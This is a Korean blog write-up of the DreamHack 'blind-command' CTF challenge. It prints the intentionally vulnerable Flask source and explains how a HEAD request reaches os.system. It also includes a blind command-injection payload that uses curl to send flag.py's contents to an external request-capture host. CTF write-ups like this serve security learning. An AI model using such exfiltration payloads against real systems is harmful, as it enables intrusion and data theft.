Web Hacking/DreamHack

드림핵 blind-command 풀이

프레딕 2023. 10. 12. 18:09
728x90
#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

일단 보니 저 os.system()함수에 cmd 커맨드만 알맞게 입력해주면 풀릴 것 같았다.

app.route를 보면 GET메소드만 허용되는걸 볼 수 있다.

그리고 if문을 보면 request.method=='GET'이 아니여야 저 os.system함수가 실행되는데.... 처음엔 혼란스러웠다.

하지만 api요청엔 여러가지가 있다.

일단 OPTIONS 메소드로 요청을 보내면 

GET, OPTIONS, HEAD 요청은 허용되는 것을 알 수 있다.

일단 get으로는 if문에 걸리니 안되고 options도 지원되는 메소드만 확인할 때 쓰는 메소드니 남아있는 메소드는 HEAD 하나 뿐이다.

HEAD 메소드로 요청을 보낼 수는 있으나 HEAD는 결과값을 보여주지 않는다.

그래도 일단 HEAD 메소드가 잘 작동되는지 확인하기 위해 cmd=sleep 5를 붙여서 요청을 보내봤다.

그러면 정말 5초후에 실행되는걸 알 수 있었다.

HEAD 메소드로 해결해야하는데.... 남은 방법은 셸 언어로 요청을 보내는것 뿐이었다.

그래서 curl 명령어를 사용해보기로 했다. (curl : http 명령어를 셸 상에서 요청해 확인하는 명령어)

일단 curl 명령어를 사용하기 위해선 포트포워딩이 필요하기 때문에 드림핵 툴을 사용해줬다.

링크를 하나 생성해주고 이 링크로 요청값을 받게 보내줬다.

HEAD http://host3.dreamhack.games:13699/?cmd=curl https://cbtuaow.request.dreamhack.games/ -d "$(cat flag.py)"

-d 는 POST 메소드 

그러면 알맞게 요청이 들어오고 FLAG값을 확인할 수 있다.

728x90
반응형